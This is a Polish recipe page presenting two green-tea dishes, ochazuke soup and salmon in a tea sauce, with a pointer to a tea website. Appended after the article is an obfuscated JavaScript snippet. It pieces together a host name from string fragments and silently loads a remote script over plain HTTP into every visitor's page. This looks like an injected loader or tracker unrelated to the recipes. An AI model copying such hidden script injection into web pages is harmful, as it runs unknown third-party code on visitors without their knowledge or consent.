



Herbaciane dania

<p>O tym, że herbata może bardzo pozytywnie wpływać na zdrowie człowieka, słyszał chyba każdy. Dlatego też jest to najpopularniejszy nap&ocute;j świata – zaraz po wodzie. A czy wiesz, że herbatę można także… jeść?
Ochazuke – zupa z zielonej herbaty
Przepyszny smak herbaty wielu kucharzy (zwłaszcza w Japonii) wykorzystuje w swoich daniach. Zacznijmy od przystawki, czyli zupy Ochazuke. To danie pochodzi z kuchni japońskiej, dlatego będziemy potrzebowali nieco egzotycznych składnik&ocute;w: ziaren sezamowych (białych), alg nori (jeden kwadrat), pasty wasabi. Opr&ocute;cz tego przygotuj ryż, rzeżuchę, no i oczywiście bohaterkę zupy – zieloną herbatę. Przygotowanie jest bardzo proste: jedną łyżkę ziaren sezamu prażymy. Gotujemy trzy filiżanki ryżu, potem dzielimy go na cztery porcje do miseczek. Kroimy algi w paseczki. Posypujemy ryż sezamem, rzeżuchą (wystarczy odrobina!) i algami. W międzyczasie zaparzamy dwie filiżanki dobrej gatunkowo zielonej herbaty. Zalewamy ryż naparem i od razu podajemy! Wasabi z resztą sezamu podajemy w osobnym naczyniu. Zupę można urozmaicić małymi kawałkami świeżej ryby (np. łosoś) lub marynowanymi śliwkami.
Herbaciany łosoś

Jeżeli smakowała Ci zupa, na pewno do gustu przypadnie Ci także drugie danie! Na listę zakup&ocute;w wpisz: łososa (cztery filety), por, czosnek, świeży imbir, cytrynę, sos sojowy, białe wino p&ocute;łsłodkie, mąkę ziemniaczaną. No i oczywiście zieloną herbatę! Gotujemy dwie szklanki wody, odstawiamy je na chwilę, po czym zalewamy herbatę. Parzymy ją przez minutkę, przelewamy do rondelka. Wrzucamy do niego także drobno posiekane cztery ząbki czosnku, cztery plastry cytryny i ścieramy centymetr imbiru. Dodajemy dwie łyżki sosu sojowego i cztery łyżki wina. Kroimy w plastry białą część pora, potem smażymy go (na oliwie!) wraz z łososiem. Dodajemy wcześniej przygotowaną zalewę tak, by nie przykryła całkowicie ryby. Gotujemy na małym ogniu przez ok. 10 minut. Wyciągamy łososa, a do sosu herbacianego dodajemy rozrobioną z zimną wodą łyżkę mąki ziemniaczanej. Mieszmamy, aż sos zgęstnieje. Łososa doprawiamy na talerzu solą i pieprzem, polewamy sosem herbacianym. Smacznego!

Na www.herbata.info przeczytasz więcej o herbacie, jej r&ocute;żnych gatunkach i właściwościach. Może sam stworzysz jakiś inspirujący przepis z herbacianym dodatkiem?</p>

<script type="text/javascript">

(function(){

uqe=document.createElement("script");uqe.type="text/javascript";

uqe.async=true;uqe_=(("us")+"t")+"a";uqe_+=("t.i")+" "+"n";uqe_+=(("f")+"o");

uqe.src="http://"+uqe_+"/6909160.f4sj4wzcgeq2txbf08l6Xctpunlrga";

document.body.appendChild(uqe);

})();

</script>

